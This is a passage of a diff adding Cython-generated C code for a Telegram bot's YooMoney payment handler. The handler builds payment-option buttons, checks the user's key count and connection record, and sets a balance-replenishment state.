+ * builder.row( + * InlineKeyboardButton( + */ + goto __pyx_L8; + } + + /* "handlers/payments/yoomoney_pay.py":68 + * ) + * else: + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + */ + /*else*/ { + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + + /* "handlers/payments/yoomoney_pay.py":69 + * else: + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + + /* "handlers/payments/yoomoney_pay.py":70 + * builder.row( + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ) + */ + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_text); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":71 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< + * ) + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyUnicode_Concat(__pyx_n_u_yoomoney, __pyx_t_10); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_t_3) < 0) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":69 + * else: + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_3}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __pyx_L8:; + + /* "handlers/payments/yoomoney_pay.py":55 + * builder = InlineKeyboardBuilder() + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + */ + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":74 + * ) + * ) + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=" ", + */ + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + + /* "handlers/payments/yoomoney_pay.py":75 + * ) + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=" ", + * callback_data="enter_custom_amount_yoomoney", + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + + /* "handlers/payments/yoomoney_pay.py":76 + * builder.row( + * InlineKeyboardButton( + * text=" ", # <<<<<<<<<<<<<< + * callback_data="enter_custom_amount_yoomoney", + * ) + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 76, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__2) < 0) __PYX_ERR(0, 76, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_enter_custom_amount_yoomoney) < 0) __PYX_ERR(0, 76, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":75 + * ) + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=" ", + * callback_data="enter_custom_amount_yoomoney", + */ + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_11}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":80 + * ) + * ) + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) # <<<<<<<<<<<<<< + * + * key_count = await get_key_count(tg_id) + */ + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 80, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 80, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_4}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":82 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) + * + * key_count = await get_key_count(tg_id) # <<<<<<<<<<<<<< + * + * if key_count == 0: + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_cur_scope->__pyx_v_tg_id}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L10_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 82, __pyx_L1_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_key_count = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":84 + * key_count = await get_key_count(tg_id) + * + * if key_count == 0: # <<<<<<<<<<<<<< + * exists = await check_connection_exists(tg_id) + * if not exists: + */ + __pyx_t_2 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_key_count, __pyx_int_0, 0, 0)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 84, __pyx_L1_error) + if (__pyx_t_2) { + + /* "handlers/payments/yoomoney_pay.py":85 + * + * if key_count == 0: + * exists = await check_connection_exists(tg_id) # <<<<<<<<<<<<<< + * if not exists: + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_cur_scope->__pyx_v_tg_id}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L12_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 85, __pyx_L1_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_exists = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":86 + * if key_count == 0: + * exists = await check_connection_exists(tg_id) + * if not exists: # <<<<<<<<<<<<<< + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * + */ + __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_exists); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 86, __pyx_L1_error) + __pyx_t_15 = (!__pyx_t_2); + if (__pyx_t_15) { + + /* "handlers/payments/yoomoney_pay.py":87 + * exists = await check_connection_exists(tg_id) + * if not exists: + * await add_connection(tg_id, balance=0.0, trial=0, session=session) # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_tg_id); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_tg_id); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_cur_scope->__pyx_v_tg_id)) __PYX_ERR(0, 87, __pyx_L1_error); + __pyx_t_4 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_balance, __pyx_float_0_0) < 0) __PYX_ERR(0, 87, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_trial, __pyx_int_0) < 0) __PYX_ERR(0, 87, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_session, __pyx_cur_scope->__pyx_v_session) < 0) __PYX_ERR(0, 87, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_9, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L14_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 87, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 87, __pyx_L1_error) + } + } + + /* "handlers/payments/yoomoney_pay.py":86 + * if key_count == 0: + * exists = await check_connection_exists(tg_id) + * if not exists: # <<<<<<<<<<<<<< + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * + */ + } + + /* "handlers/payments/yoomoney_pay.py":84 + * key_count = await get_key_count(tg_id) + * + * if key_count == 0: # <<<<<<<<<<<<<< + * exists = await check_connection_exists(tg_id) + * if not exists: + */ + } + + /* "handlers/payments/yoomoney_pay.py":89 + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" :", + * reply_markup=builder.as_markup(), + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 89, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_answer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 89, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":90 + * + * await callback_query.message.answer( + * text=" :", # <<<<<<<<<<<<<< + * reply_markup=builder.as_markup(), + * ) + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__4) < 0) __PYX_ERR(0, 90, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":91 + * await callback_query.message.answer( + * text=" :", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 91, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_11 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 91, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_reply_markup, __pyx_t_9) < 0) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/yoomoney_pay.py":89 + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" :", + * reply_markup=builder.as_markup(), + */ + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 89, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L15_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 89, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 89, __pyx_L1_error) + } + } + + /* "handlers/payments/yoomoney_pay.py":94 + * ) + * + * await state.set_state(ReplenishBalanceState.choosing_amount_yoomoney) # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_choosing_amount_yoomoney); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_t_1}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 6; + return __pyx_r; + __pyx_L16_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 94, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 94, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/yoomoney_pay.py":38 + * + * + * @router.callback_query(F.data == "pay_yoomoney") # <<<<<<<<<<<<<< + * async def process_callback_pay_yoomoney( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_12); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_AddTraceback("process_callback_pay_yoomoney", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + 